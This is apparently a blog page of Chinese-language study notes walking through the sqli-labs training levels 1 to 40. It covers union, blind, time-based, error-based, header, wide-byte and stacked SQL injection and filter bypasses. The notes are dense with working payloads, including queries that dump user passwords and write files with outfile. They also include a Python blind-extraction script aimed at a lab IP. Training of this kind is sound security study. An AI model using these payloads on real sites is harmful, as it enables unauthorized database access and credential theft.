Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

sql注入

sql labs

自带数据库information_schema,存在两个表tables和columns

table_schema 储存了表名对应数据库名

table_name 储存了数据库对应数据表名

column_name 储存了数据库对应数据列名

columns_schema 储存了数据表名对应数据库名

注意table_name字段不是只存在于tables表,也是存在columns表中。

判断字符型注入/数字型注入

id = 1 and 1=2

当字符型注入,id为数值时,输入字符型将强制转换,转化成字符前的数字

及select * from users where id = ‘1 and 1=2’—->select * from users where id =’1’ 不会报错

当数字型注入

select * from users where id = 1 and 1=2—->1=2为错误语句产生报错

判断闭合方式

?id=1\ (\转义语句报错,\后面及为闭合符)

联合查询注入

1
2
3
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];(回显信息显示)

sql-labs Less-1

字符型注入

?id=1’ order by 数字–+

查看列数

?id=-1’ union select 1,2,3(直到列数)

爆出显示位置

?id=-1’union select 1,database(),version()–+

爆出版本和所在库

?id=-1’union select 1,2,(直到列数-1),group_concat(table_name) from information_schema.tables where table_schema=’security’–+

在information_schema库的tables表中查询security库所有的表

爆表

?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+

爆字段

?id=-1’ union select 1,2,group_concat(username,id,password) from users–+

51

sql-labs Less-2

数字型注入

与字符型注入一致,舍去?id=-1’中最后的’

52

sql-labs Less-3

先判断为字符型注入

53

输入?id=1’发现报错,根据报错信息发现格式应为?id=1’)

后根据基本方式进行构造

54

sql-labs Less-4

先判断为字符型注入

56

输入?id=1”发现报错,根据报错信息发现格式应为?id=1”)

后根据基本方式进行构造

55

布尔盲注

substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度

ascii()转化成ascii码

limit number1,number2 number1:第几行开始查看

​ number2:查几条数据

1
echo 'You are in...........';(无回显信息返回)

盲注脚本

整体思路无区别,先查询所在数据库,后查询数据表,列,最后字段

个体字母匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
k=1
j=0
a=""
while True:
for i in range(32,126):
url="http://172.17.135.42:8082/sqli-labs-master/Less-6/?id=1\" and ascii(substr((select column_name from information_schema.columns where table_name=\"users\" limit {},1 ),{},1))={}--+".format(j,k,i)
res=requests.get(url)
# print(url)
if "You" in res.text:
a+=chr(i)
k+=1
break
if i ==125:
print(a)
j=j+1
k=1
a=""

代码为查询列表名

1
(select table_name from information_schema.tables where table_schema=database() limit {},1 )

burp抓包

localhost无法抓包,调用本地ip地址 ipconfig

sql-labs Less-5

1
echo 'You are in...........';(不显示回显信息)

先判断为字符型注入

由于无回现信息,只有对错信息选择使用布尔盲注

先确定格式为单引号?id=1’

用布尔盲注脚本进行爆破

58

59

sql-labs Less-6

?id=1”

sql-labs Less-7

1
2
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());(不显示具体错误)

?id=1’))

可以使用盲注

用outfile函数及将结果导出到文本中

1
id=1')) and (select count(*) from mysql.user)>0 --+(测试读取权限,返回正常则可读取)
1
id=-1')) union select 1,2,database() into outfile "D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/1.txt"--+

sql-labs Less-8

?id=1’

与第七题类似盲注和导出都可以使用

延时注入

1
2
3
4
5
6
7
8
9
10
11
12
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';

对错输出相同,无法通过布尔盲注进行注入

1
?id=1' and sleep(5)--+  ---->SELECT * FROM users WHERE id='1' and sleep(5)  -- LIMIT 0,1 (延迟5秒)
1
?id=1 and sleep(5)--+  ---->SELECT * FROM users WHERE id='1' (不延迟)

sql-labs Less-9

通过时间延迟确定为单引号

?id=1’

time.time()获取当前时间的时间戳

通过时间延迟判断语句正确性

1
if(a,b,c) (如果a语句为真,执行b,a语句为假,执行b)

将布尔盲注的正确语句判断改为时间戳的判断,大于等于延迟时间即为输出匹配字符

sql-labs Less-10

?id=1’’

与第九题类似

POST

POST 数据里面不能有 +,转换为空格

1
2
3
4
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

sql-labs Less-11

1
2
3
?id=1' or 1=1#
--->SELECT username, password FROM users WHERE username='1' or 1=1 #' and password='$passwd' LIMIT 0,1 ---> SELECT username, password FROM users
(?id=1' or 1=1#为永真条件)

确定语句闭合后,用联合注入获取数据库信息

sql-labs Less-12

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

?id=1”)

联合注入

sql-labs Less-13

1
2
3
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>"; (无回显信息)
1
2
echo '<img src="../images/flag.jpg"   />';
echo '<img src="../images/slap.jpg" />';(对错显示不同的照片,可做布尔判定条件)
1
2
3
url="http://172.17.135.76:8082/sqli-labs-master/Less-13/"
data={'uname':"1') or ascii(substr((select username from users limit {},1 ),{},1))={}#.format(j,k,i),'passwd':"1",'submit'='Submit'}
res=requests.post(url=url,data=data) (post传参代码,submit可省去)

?id=1’)

布尔盲注

sql-labs Less-14

1
2
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';

?id=1”

布尔盲注(与less-13一致)

sql-labs Less-15

1
2
3
//print_r(mysql_error());(无详细报错)
echo '<img src="../images/slap.jpg" />';
echo '<img src="../images/flag.jpg" />';

?id=1’

布尔盲注(与less-13一致)

sql-labs Less-16

?id=1”)

布尔盲注(与less-13一致

报错注入

updatexml()

用非xpath语句格式产生语法报错

1
updatexml(xml_target,xpath_expr,new_xml)
1
基本格式:... and updatexml(1,concat(0x7e,执行语句),1)
extractvalu()
1
extractvalue(xml,value)
1
基本格式:... and extractvalue(1,concat(0x7e,执行语句))

concat_ws(‘#’,a,b) 以#间隔a,b

sql-labs Less-17

1
2
3
4
get_magic_quotes_gpc()   判断magic_quotes_gpc是否打开
stripslashes() 删去转义反斜杠
ctype_digit() 判断字符串是否为十进制数字
mysql_real_escape_string() 特殊字符转义
1
2
爆数据表:
uname=Dhakkan&passwd=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#
1
2
爆数据:(不能使用concat?,所以引入派生表)
uname=Dhakkan&passwd=1'and updatexml(1,concat(0x7e,(select * from (select concat_ws('#',username,password) from users limit 0,1)a)),1)#(派生表)

sql-labs Less-18

尝试username和password未果

1
2
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);(对数据进行过滤)

输入正确时发现回显User-Agent 尝试注入User-Agent

修改User-Agent=’ 发现报错,确定注入点为User-Agent

进行报错注入

插入 updatexml() 报错时要用 OR 进行连接

1
2
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
-->$insert="INSERT INTO 'security'.'uagents' ('' or updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) or '', `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

sql-labs Less-19

同less-18

注入点为Referer

sql-labs Less-20

注入点为Cookie

正确查询后输出查询信息 可用联合查询注入

报错注入也可以使用

sql-labs Less-21

同less-20

闭合为 ’)

cookie 经过base64加密

sql-labs Less-22

同less-21

闭合为“

sql-labs Less-23

1
2
3
4
5
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);(过滤注释符号)

手动闭合: ?id=-1’ union select 1,database(),3 and ‘1’=’1 (and 并列3和‘1’ and ‘1)

二次注入

第一次注入未生效,其他语句进行二次调用时出发

sql-labs Less-24

1
$username= $_SESSION["username"];

未进行检查直接进行调用

绕过

双写绕过 or=oorr (一次过滤)

url编码绕过

大小写绕过 or =Or=oR=OR

添加注释 /*or*/

符号绕过 and =&& or=||

特殊符号绕过

60

(特殊符号部分window无法解析)

sql-labs Less-25

1
2
$id= preg_replace('/or/i',"", $id);      
$id= preg_replace('/AND/i',"", $id);(过滤or,and)(/i 不区分大小写)

双写绕过即可

id=’$id’

sql-labs Less-25a

同less-25

无法使用报错注入,更改闭合即可

id=$id

1
//print_r(mysql_error());

sql-labs Less-26

1
2
3
4
5
$id= preg_replace('/[\/\*]/',"", $id);     (过滤\*)
$id= preg_replace('/[--]/',"", $id); (过滤--)
$id= preg_replace('/[#]/',"", $id); (过滤#)
$id= preg_replace('/[\s]/',"", $id); (过滤空格)
$id= preg_replace('/[\/\\\\]/',"", $id); (过滤/\)(\/匹配/,\\\\匹配\)

过滤or和and 采用双写,大小写,或符号进行绕过

过滤注释采用 闭合绕过 或 ;%00

过滤空格可以使用特殊符号进行绕过,部分语言可以用()进行连接

(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))

id=’$id’

sql-labs Less-26a

无法使用报错注入

更改闭合方式,进行盲注

id=(‘$id’)

sql-labs Less-27

1
$id= preg_replace('/select/m',"", $id);     (过滤select严格模式,即无法使用双写进行绕过)

大小写绕过

id=(‘$id’)

sql-labs Less-27a

无法使用报错注入

更改闭合方式,进行盲注

id=”$id”

sql-labs Less-28

1
$id= preg_replace('/union\s+select/i',"", $id);  (过滤union select,不单独过滤union和select)

id=(‘$id’)

盲注

sql-labs Less-28a

id=(‘$id’)

同less-28

http参数污染(HPP)

waf绕过

用get或post对同一参数进行多次传参,进行不同处理,造成覆盖绕过waf

sql-labs Less-29

1
2
/^\d+$/   (匹配纯数字字段,^匹配字符串开头,\d匹配数字字符,+匹配前面元素多次,$匹配字符串结尾)
explode(separator,string) (separator规定在哪分割字符串,string要分割的字符串)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);


foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;

java_implimentatiom()函数输出的为第一次id的传参,即当对id进行多次传参后,对字符串的检测仍只有第一段,可通过后续传参对数据库进行注入

&进行连接

sql-labs Less-30

修改闭合方式

id=”$id”

同less-29

sql-labs Less-31

修改闭合方式

id=(”$id”)

同less-29

宽字节注入

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可

1
2
3
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);         (\ 转换为 \\)
$string = preg_replace('/\'/i', '\\\'', $string); (将 ' 转为\')
$string = preg_replace('/\"/', "\\\"", $string); (将 " 转为\")
1
mysql_query("SET NAMES gbk")     (当数据库的编码为GBK,可以使用宽字节注入)

sql-labs Less-32

通过 %df 等 吃掉 \

1
?id=-1%aa%27 union select 1,2,database()--+

‘ 自动被转义成 \‘

网页输入自动转化为%5c%27

‘ 前添加 %df等 与%5c 构成%df%5c 而在GBK中%df%5c可转化为汉字,从而实现 ‘ 的逃逸

“users”可转化成十六进制进行输入

id=’$id’

sql-labs Less-33

1
$string= addslashes($string)   (对预定义字符前添加反斜杠)

61

id=’$id’

同Less-32

sql-labs Less-34

1
2
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

get型提交数据直接以url形式提交 遇到%27%bb直接当作url编码处理

post型提交数据则当作正常数据,对%进行url编码,使得%进行二次编码成为%25

因此post传参进行宽字节注入时无法直接输入%dd等进行构造,

但可以输入部分三个字节的汉字进行构造,转义后每两个字节构造成汉字,从而实现 ‘ 的逃逸

UTF-8 的'转换为 UTF-16 的�'实现注入的方法(�=%EF%BF%BD)

或者进行burp抓包后对传参进行修改

sql-labs Less-35

id=$id

1
$id=check_addslashes($_GET['id']);

sql-labs Less-36

1
$string= mysql_real_escape_string($string)

id=’$id’

sql-labs Less-37

1
2
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

同Less-34

username=’$uname’

堆叠注入

mysql命令行以 ; 结束,堆叠注入即为在 ; 后添加要执行的sql语句

1
2
mysqli_multi_query() 执行多条sql语句
mysql_query() 执行单条sql语句

添加sql语句需以 ; 结尾

堆叠注入部分环境不适用,同时web中通常返回第一个查询结果,忽略后续查询结果,但堆叠注入可以对数据库产生任意修改

mysqli_connect_error:返回上一次发生错误的描述(在最后一次连接调用期间)。

sql-labs Less-38

id=’$id’

sql-labs Less-39

id=$id

sql-labs Less-40

id=(’$id’)

评论